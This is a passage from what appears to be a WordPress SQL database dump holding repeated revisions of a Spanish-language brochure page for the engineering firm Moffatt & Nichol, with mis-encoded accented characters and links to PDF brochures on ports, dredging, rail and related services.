style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/URBAN1WATERFRONTS11SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">TERMINALES DE TRANSBORDADORES </span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol es una de las empresas de consultorÃa e ingenierÃa marÃtimas internacionales mÃ¡s grandes del mundo. Su equipo de profesionales ofrece experiencia en el planeamiento y el diseÃ±o de instalaciones relacionadas con ferries.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n    <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">ReparaciÃ³n de astilleros y naves</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol se especializa en todos los aspectos del desarrollo industrial de muelles, incluyendo una vasta experiencia en el diseÃ±o y la rehabilitaciÃ³n de astilleros e instalaciones para la reparaciÃ³n de buques.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/shipyard-and-ship-repair-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SHIPYARD1and1SHIP1REPAIR1FACILITIES1Spanish.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">EnergÃa eÃ³lica</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol tiene la capacidad de ayudar a sus clientes a superar los desafÃos de los proyectos de desarrollo de energÃa eÃ³lica, tanto en alta mar como en tierra firme. Combinamos nuestra experiencia<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/wind-power-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n    <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Desarrollo de terminales de contenedores</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Con dÃ©cadas de experiencia trabajando con autoridades portuarias y operadores mundiales de terminales marÃtimas, Moffatt & Nichol es reconocido como lÃder innovador en la planeaciÃ³n y diseÃ±o de puertos;<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/container-terminal-development-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/CONTAINER1TERMINAL1DEVELOPMENT1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    \r\n  </div>\r\n  </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n','Folletos-Español','','inherit','open','open','','1995-revision-3','','','2012-06-14 12:15:31','2012-06-14 12:15:31','',1995,'http://moffattnichol.com/spanish/1995-revision-3/',0,'revision','',0);
INSERT INTO `wp_posts` VALUES (2432,1,'2012-06-14 12:16:52','2012-06-14 12:16:52','<div class=\"content_faq\">\r\n  <div class=\"brochure-wrapper-new\">\r\n    <h3>folletos-español</h3>\r\n    <br />\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol fue fundada en 1945 para proveer servicios de ingenierÃa y consultorÃa a la industria marÃtima. En la actualidad, Moffatt & Nichol brinda apoyo a proyectos portuarios y marinos, infraestructura<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW1BROCHURE1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">MANIPULACIÃ“N DE GRANELES</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol, una de las empresas de ingenierÃa y planeamiento marÃtimo mÃ¡s destacadas del mundo, ofrece a sus clientes una serie completa de servicios de planeamiento y diseÃ±o para instalaciones y terminales de manejo de materiales a granel.<br />\r\n        <br />\r\n        <br />\r\n        <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES1Spanish1Portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        La reputaciÃ³n de la excelencia de Moffatt & Nichol en el ambiente costero se basa sobre aÃ±os de experiencia en proyectos desafiantes. La firma ofrece a sus clientes, personal profesional  con amplio conocimiento que incluye ingenieros<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-resources-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-8.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DRAGADO</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol, lÃder en ingenierÃa costera, estÃ¡ a la vanguardia de los servicios especializados en gestiÃ³n de ingenierÃa y construcciÃ³n para proyectos de dragado en mar abierto, puertos, humedales costeros,<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Como una de las firmas especializadas en ingenierÃa y planeamiento marino del mundo, Moffatt & Nichol ha jugado un papel importante en la evoluciÃ³n del puerto moderno. La firma tiene una reputaciÃ³n a nivel mundial<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS FERROVIARIOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n       Moffatt & Nichol se ha especializado en el planeamiento y el diseÃ±o de proyectos de obras civiles de gran capacidad, que incluyen instalaciones de rieles, para clientes en toda NorteamÃ©rica, Europa y LatinoamÃ©rica.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/rail-services-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Las Ã¡reas costeras de hoy en dÃa son catalizadores de la actividad econÃ³mica. La prÃ¡ctica de Moffatt & Nichol en Ã¡reas costeras y marinas se estableciÃ³ en la dÃ©cada de los 60, a medida que se incrementaba la popularidad de<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/URBAN1WATERFRONTS11SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">TERMINALES DE TRANSBORDADORES </span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol es una de las empresas de consultorÃa e ingenierÃa marÃtimas internacionales mÃ¡s grandes del mundo. Su equipo de profesionales ofrece experiencia en el planeamiento y el diseÃ±o de instalaciones relacionadas con ferries.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n    <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">ReparaciÃ³n de astilleros y naves</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol se especializa en todos los aspectos del desarrollo industrial de muelles, incluyendo una vasta experiencia en el diseÃ±o y la rehabilitaciÃ³n de astilleros e instalaciones para la reparaciÃ³n de buques.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/shipyard-and-ship-repair-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SHIPYARD1and1SHIP1REPAIR1FACILITIES1Spanish.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">EnergÃa eÃ³lica</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol tiene la capacidad de ayudar a sus clientes a superar los desafÃos de los proyectos de desarrollo de energÃa eÃ³lica, tanto en alta mar como en tierra firme. Combinamos nuestra experiencia<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/wind-power-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n    <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Desarrollo de terminales de contenedores</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Con dÃ©cadas de experiencia trabajando con autoridades portuarias y operadores mundiales de terminales marÃtimas, Moffatt & Nichol es reconocido como lÃder innovador en la planeaciÃ³n y diseÃ±o de puertos;<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/container-terminal-development-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/CONTAINER1TERMINAL1DEVELOPMENT1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    \r\n  </div>\r\n  </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n','Folletos-Español','','inherit','open','open','','1995-revision-4','','','2012-06-14 12:16:52','2012-06-14 12:16:52','',1995,'http://moffattnichol.com/spanish/1995-revision-4/',0,'revision','',0),(2433,1,'2012-06-14 12:18:56','2012-06-14 12:18:56','<div class=\"content_faq\">\r\n  <div class=\"brochure-wrapper-new\">\r\n    <h3>folletos-español</h3>\r\n    <br />\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol fue fundada en 1945 para proveer servicios de ingenierÃa y consultorÃa a la industria marÃtima. En la actualidad, Moffatt & Nichol brinda apoyo a proyectos portuarios y marinos, infraestructura<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW1BROCHURE1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">MANIPULACIÃ“N DE GRANELES</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol, una de las empresas de ingenierÃa y planeamiento marÃtimo mÃ¡s destacadas del mundo, ofrece a sus clientes una serie completa de servicios de planeamiento y diseÃ±o para instalaciones y terminales de manejo de materiales a granel.<br />\r\n        <br />\r\n        <br />\r\n        <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES1Spanish1Portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        La reputaciÃ³n de la excelencia de Moffatt & Nichol en el ambiente costero se basa sobre aÃ±os de experiencia en proyectos desafiantes. La firma ofrece a sus clientes, personal profesional  con amplio conocimiento que incluye ingenieros<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-resources-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-8.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DRAGADO</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol, lÃder en ingenierÃa costera, estÃ¡ a la vanguardia de los servicios especializados en gestiÃ³n de ingenierÃa y construcciÃ³n para proyectos de dragado en mar abierto, puertos, humedales costeros,<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Como una de las firmas especializadas en ingenierÃa y planeamiento marino del mundo, Moffatt & Nichol ha jugado un papel importante en la evoluciÃ³n del puerto moderno. La firma tiene una reputaciÃ³n a nivel mundial<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS FERROVIARIOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n       Moffatt & Nichol se ha especializado en el planeamiento y el diseÃ±o de proyectos de obras civiles de gran capacidad, que incluyen instalaciones de rieles, para clientes en toda NorteamÃ©rica, Europa y LatinoamÃ©rica.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/rail-services-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Las Ã¡reas costeras de hoy en dÃa son catalizadores de la actividad econÃ³mica. La prÃ¡ctica de Moffatt & Nichol en Ã¡reas costeras y marinas se estableciÃ³ en la dÃ©cada de los 60, a medida que se incrementaba la popularidad de<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/URBAN1WATERFRONTS11SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">TERMINALES DE TRANSBORDADORES </span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol es una de las empresas de consultorÃa e ingenierÃa marÃtimas internacionales mÃ¡s grandes del mundo. Su equipo de profesionales ofrece experiencia en el planeamiento y el diseÃ±o de instalaciones relacionadas con ferries.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n    <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">ReparaciÃ³n de astilleros y naves</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol se especializa en todos los aspectos del desarrollo industrial de muelles, incluyendo una vasta experiencia en el diseÃ±o y la rehabilitaciÃ³n de astilleros e instalaciones para la reparaciÃ³n de buques.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/shipyard-and-ship-repair-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SHIPYARD1and1SHIP1REPAIR1FACILITIES1Spanish.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">EnergÃa eÃ³lica</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol tiene la capacidad de ayudar a sus clientes a superar los desafÃos de los proyectos de desarrollo de energÃa eÃ³lica, tanto en alta mar como en tierra firme. Combinamos nuestra experiencia<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/wind-power-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n    <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Desarrollo de terminales de contenedores</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Con dÃ©cadas de experiencia trabajando con autoridades portuarias y operadores mundiales de terminales marÃtimas, Moffatt & Nichol es reconocido como lÃder innovador en la planeaciÃ³n y diseÃ±o de puertos;<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/container-terminal-development-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/CONTAINER1TERMINAL1DEVELOPMENT1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    \r\n  </div>\r\n  </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" 